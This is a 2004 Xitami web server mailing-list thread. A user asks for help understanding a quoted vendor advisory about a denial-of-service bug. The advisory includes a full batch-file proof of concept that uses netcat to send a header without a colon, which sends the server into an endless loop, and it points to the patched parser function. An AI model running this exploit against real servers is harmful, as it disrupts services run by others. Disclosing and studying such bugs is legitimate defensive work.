[Xitami] Xitami DOS reported

xitami@lists.xitami.org xitami@lists.xitami.org
Mon, 26 Jul 2004 21:56:58 +0000


Hello Forum, :)    ;|

Sorry,,,,I forgot to mention that the effort in this case is to produce the DOS and the version of Xitami is:

               V2.5b4

-------------- Original message from jglong3@att.net: -------------- 
> Hello Xitami Forum, :) :) 
> 
> I am a newbie at Web stuff and Xitami. I am trying to come up to speed with all 
> the new stuff (compilers; APIs; WEB Pages; Web servers and CGI; etc.). 
> 
> I understand the DOS script code below using the nc.exe and have it running on 
> my LAN from a client to the Xitami Server. 
> 
> The code below runs as expected and a Browser can continue to use the Xitami 
> Server. 
> So, since I am new to Xitami, Web Pages, Headers, etc. it appears I need to 
> understand how the MALFORMED HEADER defined below is created in the code 
> below????? 
> 
> 
> Results of running the test code below: 
> 
> The test code was executed with the following: 
> 
> test www.gsc.com 80 
> 
> For testing, the www.gsc.com is maintained locally in the hosts file and points 
> to the IP address of the Xitami server. And, the above execution of the test 
> sends back the contents of the web page defined for www.gsc.com. 
> 
> Even if the actual IP address of the Xitami Server is used it sends back error 
> messages: 
> 
> 403 forbidden 
> You are not authorized to access this reasource 
> 
> And, the Xitami Server can continue to be accessed by a Browser. 
> 
> 
> I took a stab at modifying the line: echo HOST: %1>>http.tmp and removed the : 
> from HOST: 
> But, Xitami sent back the error: 
> 
> 403 forbidden 
> You are not authorized to access this reasource 
> 
> And, Xitami continues to work from a Browser as expected. 
> 
> 
> Thanks for your time, help, and advise!!!! :) :) 
> 
> Jerry 
> 
> 
> -------------- Original message from Pieter Hintjens : -------------- 
> > Hi, 
> > 
> > A serious denial of service has been found in Xitami. This is the report: 
> > 
> > -------------------------------------------------------------- 
> > Application: Xitami Web Server 
> > Vendors: http://www.xitami.com/xiopen_2_5.zip 
> > Version: v2.5c1 
> > Platforms: Windows 
> > Bug: D.O.S 
> > Date: 2004-07-15 
> > Author: CoolICE 
> > e-mail: CoolICE#China.com 
> > ================ 
> > Content: 
> > ---------------- 
> > TestCode: 
> > @echo off 
> > :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
> > :Application: Xitami Web Server 
> > :Vendors: http://www.xitami.com/xiopen_2_5.zip 
> > :Version: v2.5c1 
> > :Platforms: Windows 
> > :Bug: D.O.S 
> > :Date: 2004-07-15 
> > :Author: CoolICE 
> > :e-mail: CoolICE#China.com 
> > :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
> > if '%1'=='' echo Usage:%0 target [port]&&goto :eof 
> > set PORT=80 
> > if not '%2'=='' set PORT=%2 
> > for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need 
> > nc. 
> > exe&&goto :eof 
> > echo GET / HTTP/1.0>http.tmp 
> > echo HOST: %1>>http.tmp 
> > echo DOS>>http.tmp 
> > echo.>>http.tmp 
> > nc -w 10 %1 %PORT% < http.tmp 
> > del http.tmp 
> > -------------------------------------------------------------- 
> > 
> > The denial of service is this: a malformed header (without the ':') causes the 
> > server to enter an endless loop. 
> > 
> > This DOS affects all versions of Xitami. For those building from source, the 
> > affected file is smthttpl.c, and the patch is in the function 
> > http_parse_header: 
> > 
> > We are in the process of releasing new binaries, which will be on Xitami.com 
> > in a very short while. 
> > 
> > -- 
> > Pieter Hintjens 
> > iMatix Corporation 
> > 
> 
> 
> -- 
> Xitami Users Mailing List -- For Xitami support 
> To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami